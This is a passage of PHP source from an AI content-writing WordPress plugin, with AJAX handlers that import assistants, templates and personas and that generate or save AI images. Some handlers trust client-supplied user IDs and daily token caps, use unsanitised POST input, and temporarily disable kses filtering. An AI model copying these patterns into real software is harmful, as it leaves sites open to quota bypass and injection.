if(empty($jsonf['role'])) { $jsonf['role'] = ''; } if(empty($jsonf['prompt'])) { $jsonf['prompt'] = ''; } if(empty($jsonf['message'])) { $jsonf['message'] = ''; } $existing_openai = false; $address_post_id = 0; $assistant_id = ''; $temperature = ''; $topp = ''; if(isset($jsonf['temperature'])) { $temperature = $jsonf['temperature']; } if(isset($jsonf['topp'])) { $topp = $jsonf['topp']; } if(isset($jsonf['id']) && !empty($jsonf['id'])) { $query = new WP_Query( array( 'post_type' => 'aiomatic_assistants', 'meta_query' => array( array( 'key' => '_assistant_id', 'value' => $jsonf['id'], 'compare' => 'EXISTS' ), ), 'post_status' => 'all', 'posts_per_page' => 1, 'no_found_rows' => true, 'ignore_sticky_posts' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $query->post ) ) { if($overwrite != '1') { //assistant already exists, skipping it continue; } else { while ( $query->have_posts() ) { $query->the_post(); $address_post_id = get_the_ID(); $assistant_id = get_post_meta($address_post_id, '_assistant_id', true); break; } } } if(!empty($assistant_id)) { try { $ex_assistant = aiomatic_openai_retrieve_assistant($token, $assistant_id); if(isset($ex_assistant['id']) && $ex_assistant['id'] == $assistant_id) { $existing_openai = true; } } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to retrieve assistant using the API ' . $e->getMessage(); wp_send_json($aiomatic_result); } } } if($existing_openai == true) { $tools = []; if($jsonf['code_interpreter'] == 'on') { $tools[] = ['type' => 'code_interpreter']; } if($jsonf['file_search'] == 'on') { $tools[] = ['type' => 'file_search']; } $functions_json = $jsonf['functions']; if($functions_json === false) { $functions = array(); } else { if(is_array($functions_json) && !isset($functions_json['name'])) { $functions = $functions_json; } elseif(isset($functions_json['name'])) { $functions = array($functions_json); } else { $functions = array(); } } foreach($functions as $func) { $tools[] = ['type' => 'function', 'function' => $func]; } try { if($address_post_id != '' && $address_post_id != 0) { $vector_store_id = get_post_meta($address_post_id, '_assistant_vector_store_id', true); } $metadata = ''; $assistantData = aiomatic_openai_modify_assistant($token, $assistant_id, $jsonf['model'], $jsonf['name'], $jsonf['role'], $jsonf['prompt'], $temperature, $topp, $tools, $jsonf['files'], $metadata, $vector_store_id, $address_post_id); if($assistantData === false) { $aiomatic_result['msg'] = 'Failed to update assistant using the API'; wp_send_json($aiomatic_result); } } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to retrieve assistant using the API ' . $e->getMessage(); wp_send_json($aiomatic_result); } } else { $tools = []; if($jsonf['code_interpreter'] == 'on') { $tools[] = ['type' => 'code_interpreter']; } if($jsonf['file_search'] == 'on') { $tools[] = ['type' => 'file_search']; } $functions_json = $jsonf['functions']; if($functions_json === false) { $functions = array(); } else { if(is_array($functions_json) && !isset($functions_json['name'])) { $functions = $functions_json; } elseif(isset($functions_json['name'])) { $functions = array($functions_json); } else { $functions = array(); } } foreach($functions as $func) { $tools[] = ['type' => 'function', 'function' => $func]; } try { $metadata = ''; $assistantData = aiomatic_openai_save_assistant( $token, $jsonf['model'], $jsonf['name'], $jsonf['role'], $temperature, $topp, $jsonf['prompt'], $tools, $jsonf['files'], $metadata, $vector_store_id ); if($assistantData === false) { $aiomatic_result['msg'] = 'Failed to save assistant using the API'; wp_send_json($aiomatic_result); } else { $assistant_id = $assistantData['id']; } } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to retrieve assistant using the API ' . $e->getMessage(); wp_send_json($aiomatic_result); } } $assistants_data = array( 'post_type' => 'aiomatic_assistants', 'post_title' => $jsonf['name'], 'post_excerpt' => $jsonf['role'], 'post_content' => $jsonf['prompt'], 'post_status' => 'publish' ); $assistants_data['ID'] = $address_post_id; remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); if($overwrite != '1') { $assistants_id_local = wp_insert_post($assistants_data); } else { if(isset($assistants_data['ID']) && $assistants_data['ID'] != '0') { $assistants_id_local = wp_update_post($assistants_data); } else { $assistants_id_local = wp_insert_post($assistants_data); } } add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($assistants_id_local)) { aiomatic_log_to_file('Failed to import assistant: ' . $assistants_id_local->get_error_message()); } elseif($assistants_id_local === 0) { aiomatic_log_to_file('Failed to insert assistant to database: ' . print_r($assistants_data, true)); } else { if(is_numeric($jsonf['avatar'])) { if($jsonf['avatar'] > 0) { require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); set_post_thumbnail( $assistants_id_local, $jsonf['avatar'] ); } } elseif(filter_var($jsonf['avatar'], FILTER_VALIDATE_URL)) { if (!aiomatic_generate_featured_image($jsonf['avatar'], $assistants_id_local)) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('aiomatic_generate_featured_image failed for ' . $jsonf['avatar']); } } } if(isset($jsonf['message']) && !empty($jsonf['message'])) { update_post_meta($assistants_id_local, '_assistant_first_message', $jsonf['message']); } else { update_post_meta($assistants_id_local, '_assistant_first_message', ''); } update_post_meta($assistants_id_local, '_assistant_id', $assistant_id); if(!empty($jsonf['model'])) { update_post_meta($assistants_id_local, '_assistant_model', $jsonf['model']); } $tools = []; if($jsonf['code_interpreter'] == 'on') { $tools[] = ['type' => 'code_interpreter']; } if($jsonf['file_search'] == 'on') { $tools[] = ['type' => 'file_search']; } $functions_json = $jsonf['functions']; if($functions_json === false) { $functions = array(); } else { if(is_array($functions_json) && !isset($functions_json['name'])) { $functions = $functions_json; } elseif(isset($functions_json['name'])) { $functions = array($functions_json); } else { $functions = array(); } } foreach($functions as $func) { $tools[] = ['type' => 'function', 'function' => $func]; } if(!empty($tools)) { update_post_meta($assistants_id_local, '_assistant_tools', $tools); } else { update_post_meta($assistants_id_local, '_assistant_tools', array()); } if(!empty($vector_store_id)) { update_post_meta($assistants_id_local, '_assistant_vector_store_id', $vector_store_id); } if(!empty($temperature)) { update_post_meta($assistants_id_local, '_assistant_temperature', $temperature); } if(!empty($topp)) { update_post_meta($assistants_id_local, '_assistant_topp', $topp); } if(!empty($jsonf['files'])) { update_post_meta($assistants_id_local, '_assistant_files', $jsonf['files']); } else { update_post_meta($assistants_id_local, '_assistant_files', array()); } } } $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_default_omni', 'aiomatic_default_omni'); function aiomatic_default_omni() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with default OmniBlock templates'); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $default_file = dirname(__FILE__) . "/defaults/omni-templates-defaults.json"; if(!$wp_filesystem->exists($default_file)) { $aiomatic_result['msg'] = 'Default OmniBlock templates json file not found: ' . $default_file; wp_send_json($aiomatic_result); } $fc = $wp_filesystem->get_contents($default_file); if(empty($fc)) { $aiomatic_result['msg'] = 'Failed to read file: ' . $default_file; wp_send_json($aiomatic_result); } $fc_dec = json_decode($fc, true); if($fc_dec === false || $fc_dec === null) { $aiomatic_result['msg'] = 'Failed to decode json file: ' . $default_file; wp_send_json($aiomatic_result); } $overwrite = '0'; foreach($fc_dec as $jsonf) { $address_post_id = 0; if(isset($jsonf['id']) && !empty($jsonf['id'])) { $query = new WP_Query( array( 'post_type' => 'aiomatic_omni_temp', 'post_status' => 'all', 'title' => $jsonf['name'], 'posts_per_page' => 1, 'no_found_rows' => true, 'ignore_sticky_posts' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $query->post ) ) { if($overwrite != '1') { //template already exists, skipping it continue; } else { while ( $query->have_posts() ) { $query->the_post(); $address_post_id = get_the_ID(); break; } } } } if(is_array($jsonf['json'])) { $jsonf['json'] = json_encode($jsonf['json']); } $json_me = addslashes($jsonf['json']); if($json_me === false) { $json_me = $jsonf['json']; } $omni_data = array( 'post_type' => 'aiomatic_omni_temp', 'post_title' => $jsonf['name'], 'post_content' => $json_me, 'post_status' => 'publish' ); $omni_data['ID'] = $address_post_id; remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); if($overwrite != '1') { $omni_id_local = wp_insert_post($omni_data); } else { if(isset($omni_data['ID']) && $omni_data['ID'] != '0') { $omni_id_local = wp_update_post($omni_data); } else { $omni_id_local = wp_insert_post($omni_data); } } add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($omni_id_local)) { aiomatic_log_to_file('Failed to import OmniBlock Template: ' . $omni_id_local->get_error_message()); } elseif($omni_id_local === 0) { aiomatic_log_to_file('Failed to insert OmniBlock Template to database: ' . print_r($omni_data, true)); } else { update_post_meta($omni_id_local, 'aiomatic_json', $json_me); if(isset($jsonf['category']) && !empty($jsonf['category'])) { if(!is_array($jsonf['category'])) { $terms_array = explode(';', $jsonf['category']); } else { $terms_array = $jsonf['category']; } wp_set_object_terms($omni_id_local, $terms_array, 'ai_template_categories'); } } } $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_default_persona', 'aiomatic_default_persona'); function aiomatic_default_persona() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with default personas'); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $default_file = dirname(__FILE__) . "/defaults/persona-defaults.json"; if(!$wp_filesystem->exists($default_file)) { $aiomatic_result['msg'] = 'Default persona json file not found: ' . $default_file; wp_send_json($aiomatic_result); } $fc = $wp_filesystem->get_contents($default_file); if(empty($fc)) { $aiomatic_result['msg'] = 'Failed to read file: ' . $default_file; wp_send_json($aiomatic_result); } $fc_dec = json_decode($fc, true); if($fc_dec === false || $fc_dec === null) { $aiomatic_result['msg'] = 'Failed to decode json file: ' . $default_file; wp_send_json($aiomatic_result); } $overwrite = '0'; foreach($fc_dec as $jsonf) { $address_post_id = 0; $query = new WP_Query( array( 'post_type' => 'aiomatic_personas', 'title' => $jsonf['name'], 'post_status' => 'all', 'posts_per_page' => 1, 'no_found_rows' => true, 'ignore_sticky_posts' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $query->post ) ) { if($overwrite != '1') { //persona already exists, skipping it continue; } else { while ( $query->have_posts() ) { $query->the_post(); $address_post_id = get_the_ID(); break; } } } $personas_data = array( 'post_type' => 'aiomatic_personas', 'post_title' => $jsonf['name'], 'post_excerpt' => $jsonf['role'], 'post_content' => $jsonf['prompt'], 'post_status' => 'publish' ); $personas_data['ID'] = $address_post_id; remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); if($overwrite != '1') { $personas_id = wp_insert_post($personas_data); } else { if(isset($personas_data['ID']) && $personas_data['ID'] != '0') { $personas_id = wp_update_post($personas_data); } else { $personas_id = wp_insert_post($personas_data); } } add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($personas_id)) { aiomatic_log_to_file('Failed to import persona: ' . $personas_id->get_error_message()); } elseif($personas_id === 0) { aiomatic_log_to_file('Failed to insert persona to database: ' . print_r($personas_data, true)); } else { if(isset($jsonf['avatar'])) { if(is_numeric($jsonf['avatar'])) { if($jsonf['avatar'] > 0) { require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); set_post_thumbnail( $personas_id, $jsonf['avatar'] ); } } elseif(filter_var($jsonf['avatar'], FILTER_VALIDATE_URL)) { if (!aiomatic_generate_featured_image($jsonf['avatar'], $personas_id)) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('aiomatic_generate_featured_image failed for ' . $jsonf['avatar']); } } } } if(isset($jsonf['message']) && !empty($jsonf['message'])) { update_post_meta($personas_id, '_persona_first_message', $jsonf['message']); } } } $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_save_image', 'aiomatic_save_image'); function aiomatic_save_image() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $imagesrc = $_POST['imagesrc']; if(empty($imagesrc)) { wp_send_json_error(array('error' => 'No image argument data found')); } $post_id = $_POST['post_id']; if(isset($_POST['orig_prompt'])) { $orig_prompt = $_POST['orig_prompt']; } else { $orig_prompt = 'image'; } if(empty($post_id)) { $post_id = null; } $size = 'full'; $localpath = false; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(substr( $imagesrc, 0, 21 ) === "data:image/png;base64") { $attachment_id = aiomatic_upload_base64_image($imagesrc, $orig_prompt, $post_id); if ( is_wp_error( $attachment_id ) ) { wp_send_json_error( $attachment_id ); } if ( $attachment_id === false ) { wp_send_json_error(array('error' => 'Failed to upload image')); } $alt = wp_strip_all_tags( $orig_prompt, true ); update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $alt ) ); list( $url, $width, $height ) = wp_get_attachment_image_src( $attachment_id, $size ); wp_send_json_success( compact( 'attachment_id', 'url', 'width', 'height', 'size' ) ); } else { if ((isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') || (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== '')) { try { if (isset($aiomatic_Main_Settings['copy_locally']) && ($aiomatic_Main_Settings['copy_locally'] == 'on' || $aiomatic_Main_Settings['copy_locally'] == 'amazon' || $aiomatic_Main_Settings['copy_locally'] == 'wasabi' || $aiomatic_Main_Settings['copy_locally'] == 'digital')) { $localpath = aiomatic_copy_image_locally($imagesrc); if(isset($localpath[1]) && $localpath !== false) { if(!class_exists('\Eventviva\ImageResize')){require_once (dirname(__FILE__) . "/res/ImageResize/ImageResize.php");} $imageRes = new ImageResize($localpath[1]); if (isset($aiomatic_Main_Settings['ai_resize_quality']) && $aiomatic_Main_Settings['ai_resize_quality'] !== '') { $imageRes->quality_jpg = intval($aiomatic_Main_Settings['ai_resize_quality']); } else { $imageRes->quality_jpg = 100; } if ((isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') && (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== '')) { $imageRes->resizeToBestFit($aiomatic_Main_Settings['ai_resize_width'], $aiomatic_Main_Settings['ai_resize_height'], true); } elseif (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== '') { $imageRes->resizeToWidth($aiomatic_Main_Settings['ai_resize_width'], true); } elseif (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') { $imageRes->resizeToHeight($aiomatic_Main_Settings['ai_resize_height'], true); } $imageRes->save($localpath[1]); } } } catch(Exception $e) { aiomatic_log_to_file('Failed to resize AI generated image: ' . $localpath[0] . ' to sizes ' . $aiomatic_Main_Settings['ai_resize_width'] . ' - ' . $aiomatic_Main_Settings['ai_resize_height'] . '. Exception thrown ' . esc_html($e->getMessage()) . '!'); } } if(isset($localpath[0])) { $imagesrc = $localpath[0]; } $file_name_is = aiomatic_extract_keywords_from_prompt($orig_prompt); $attachment_id = aiomatic_media_sideload_image( $imagesrc, $post_id, $orig_prompt, 'id', $file_name_is ); if ( is_wp_error( $attachment_id ) ) { wp_send_json_error( $attachment_id ); } $alt = wp_strip_all_tags( $orig_prompt, true ); update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $alt ) ); list( $url, $width, $height ) = wp_get_attachment_image_src( $attachment_id, $size ); wp_send_json_success( compact( 'attachment_id', 'url', 'width', 'height', 'size' ) ); } die(); } add_action('wp_ajax_aiomatic_generate_image_ajax', 'aiomatic_generate_image_ajax'); function aiomatic_generate_image_ajax() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with image generator'); if(!isset($_POST['image_size']) || !isset($_POST['instruction'])) { $aiomatic_result['msg'] = 'Incomplete POST request for AI generated images'; wp_send_json($aiomatic_result); } $ai_model = $_POST['ai_model']; if($ai_model == 'stable') { if(!isset($_POST['image_size']) || !isset($_POST['instruction'])) { $aiomatic_result['msg'] = 'Incomplete POST request for stable images'; wp_send_json($aiomatic_result); } $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } $user_id = sanitize_text_field($_POST['user_id']); $image_size = $_POST['image_size']; $image_size = str_replace('??', 'x', $image_size); $instruction = stripslashes($_POST['instruction']); $sizes = array('1024x1024', '512x512'); if(!in_array($image_size, $sizes)) { $aiomatic_result['msg'] = 'Incorrect Stable Diffusion image size provided: ' . $image_size; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') { $aiomatic_result['msg'] = 'You need to insert a valid Stability.AI API Key for this to work!'; wp_send_json($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result['msg'] = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); wp_send_json($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_stable_image_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result['msg'] = 'Daily token count usage for your user account was exceeded! Please try again tomorrow.'; wp_send_json($aiomatic_result); } } else { $used_token_count = 0; } } if($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } $ierror = ''; $temp_get_imgs = aiomatic_generate_stability_image($instruction, $height, $width, 'mediaLibraryStableImage', 0, true, $ierror, false, false); if($temp_get_imgs !== false) { if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_stable_image_tokens', $used_token_count); } $aiomatic_result['data'] = $temp_get_imgs; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); } $aiomatic_result['msg'] = 'Error occurred when calling image API: ' . $ierror; wp_send_json($aiomatic_result); } elseif($ai_model == 'midjourney') { if(!isset($_POST['image_size']) || !isset($_POST['instruction'])) { $aiomatic_result['msg'] = 'Incomplete POST request for midjourney images'; wp_send_json($aiomatic_result); } $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } $user_id = sanitize_text_field($_POST['user_id']); $image_size = $_POST['image_size']; $image_size = str_replace('??', 'x', $image_size); $instruction = stripslashes($_POST['instruction']); $sizes = array('1024x1024', '512x512', '1024x1792', '1792x1024'); if(!in_array($image_size, $sizes)) { $aiomatic_result['msg'] = 'Incorrect Midjourney image size provided: ' . $image_size; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['midjourney_app_id']) || trim($aiomatic_Main_Settings['midjourney_app_id']) == '') { $aiomatic_result['msg'] = 'You need to insert a valid GoAPI (midjourney) API Key for this to work!'; wp_send_json($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result['msg'] = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); wp_send_json($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_midjourney_image_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result['msg'] = 'Daily token count usage for your user account was exceeded! Please try again tomorrow.'; wp_send_json($aiomatic_result); } } else { $used_token_count = 0; } } if($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } $ierror = ''; $temp_get_imgs = aiomatic_generate_ai_image_midjourney($instruction, $width, $height, 'mediaLibraryMidjourneyImage', true, $ierror); if($temp_get_imgs !== false) { if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_midjourney_image_tokens', $used_token_count); } $aiomatic_result['data'] = $temp_get_imgs; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); } $aiomatic_result['msg'] = 'Error occurred when calling image API: ' . $ierror; wp_send_json($aiomatic_result); } else { $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } $user_id = sanitize_text_field($_POST['user_id']); $image_size = $_POST['image_size']; $image_size = str_replace('??', 'x', $image_size); $instruction = stripslashes($_POST['instruction']); if($ai_model == 'dalle2') { $sizes = array('1024x1024', '512x512', '256x256'); } else { $sizes = array('1024x1024', '1792x1024', '1024x1792'); } if(!in_array($image_size, $sizes)) { $aiomatic_result['msg'] = 'Invalid image size provided: ' . $image_size; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!'; wp_send_json($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result['msg'] = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); wp_send_json($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_image_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result['msg'] = 'The daily token count usage for your user account was exceeded! Please try again tomorrow.'; wp_send_json($aiomatic_result); } } else { $used_token_count = 0; } } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $aierror = ''; $response_text = aiomatic_generate_ai_image($token, 1, $instruction, $image_size, 'mediaLibraryDallEImage', true, 0, $aierror, $ai_model); if($response_text !== false && is_array($response_text)) { foreach($response_text as $tmpimg) { $aiomatic_result['data'] = $tmpimg; $aiomatic_result['status'] = 'success'; do_action('aiomatic_ai_image_reply', $tmpimg); wp_send_json($aiomatic_result); } if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_image_tokens', $used_token_count); } } $aiomatic_result['msg'] = 'Error occurred when calling image API: ' . $aierror . ' -- ' . print_r($response_text, true); wp_send_json($aiomatic_result); } die(); } add_action('wp_ajax_aiomatic_generate_royalty_free_image_ajax', 'aiomatic_generate_royalty_free_image_ajax'); function aiomatic_generate_royalty_free_image_ajax() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with image generator'); if(!isset($_POST['instruction'])) { $aiomatic_result['msg'] = 'Incomplete POST request for royalty free images'; wp_send_json($aiomatic_result); } $instruction = stripslashes(trim($_POST['instruction'])); $image_source = $_POST['image_source']; $img_attr = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $raw_img_list = array(); $full_result_list = array(); $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $instruction, $img_attr, 10, true, $raw_img_list, array($image_source), $full_result_list); if(!empty($z_img)) { $aiomatic_result['data'] = $full_result_list; $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); } $aiomatic_result['msg'] = 'No images returned for: ' . esc_html($instruction) . ', from: ' . esc_html($image_source); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_image_ajax_submit', 'aiomatic_image_submit'); add_action('wp_ajax_nopriv_aiomatic_image_ajax_submit', 'aiomatic_image_submit'); function aiomatic_image_submit() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with image submission'); if(!isset($_POST['image_size']) || !isset($_POST['instruction'])) { $aiomatic_result['msg'] = 'Incomplete POST request for DALLE images'; wp_send_json($aiomatic_result); } $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } $user_id = sanitize_text_field($_POST['user_id']); $image_size = $_POST['image_size']; $image_size = str_replace('??', 'x', $image_size); $instruction = stripslashes($_POST['instruction']); if(isset($_POST['image_model'])) { $image_model = stripslashes($_POST['image_model']); if(!in_array($image_model, AIOMATIC_DALLE_IMAGE_MODELS)) { $image_model = 'dalle2'; } } else { $image_model = 'dalle2'; } if($image_model == 'dalle2') { $sizes = array('1024x1024', '512x512', '256x256'); if(!in_array($image_size, $sizes)) { $aiomatic_result['msg'] = 'Invalid Dall-E 2 image size provided: ' . $image_size; wp_send_json($aiomatic_result); } } else { $sizes = array('1024x1024', '1792x1024', '1024x1792'); if(!in_array($image_size, $sizes)) { $aiomatic_result['msg'] = 'Invalid Dall-E 3 image size provided: ' . $image_size; wp_send_json($aiomatic_result); } } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!'; wp_send_json($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result['msg'] = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); wp_send_json($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_image_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result['msg'] = 'The daily token count for your user account has been exceeded! Please try again tomorrow.'; wp_send_json($aiomatic_result); } } else { $used_token_count = 0; } } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $aierror = ''; $response_text = aiomatic_generate_ai_image($token, 1, $instruction, $image_size, 'shortcodeImageForm', false, 0, $aierror, $image_model); if($response_text !== false && is_array($response_text)) { foreach($response_text as $tmpimg) { $aiomatic_result['data'] = $tmpimg; $aiomatic_result['status'] = 'success'; do_action('aiomatic_ai_form_image_reply', $tmpimg); wp_send_json($aiomatic_result); } if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_image_tokens', $used_token_count); } } $aiomatic_result['msg'] = 'Error occurred when calling image API: ' . $aierror . ' -- ' . print_r($response_text, true); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_run_my_bulk_embeddings_action', 'aiomatic_run_my_bulk_embeddings_action'); function aiomatic_run_my_bulk_embeddings_action() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['rule_timeout']) && $aiomatic_Main_Settings['rule_timeout'] != '') { $timeout = intval($aiomatic_Main_Settings['rule_timeout']); } else { $timeout = 36000; } ini_set('memory_limit', '-1'); ini_set('default_socket_timeout', $timeout); ini_set('safe_mode', 'Off'); ini_set('max_execution_time', $timeout); ini_set('ignore_user_abort', 1); ini_set('user_agent', aiomatic_get_random_user_agent()); if(function_exists('ignore_user_abort')) { ignore_user_abort(true); } if(function_exists('set_time_limit')) { set_time_limit($timeout); } if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_exec_time('Bulk Embeddings'); } 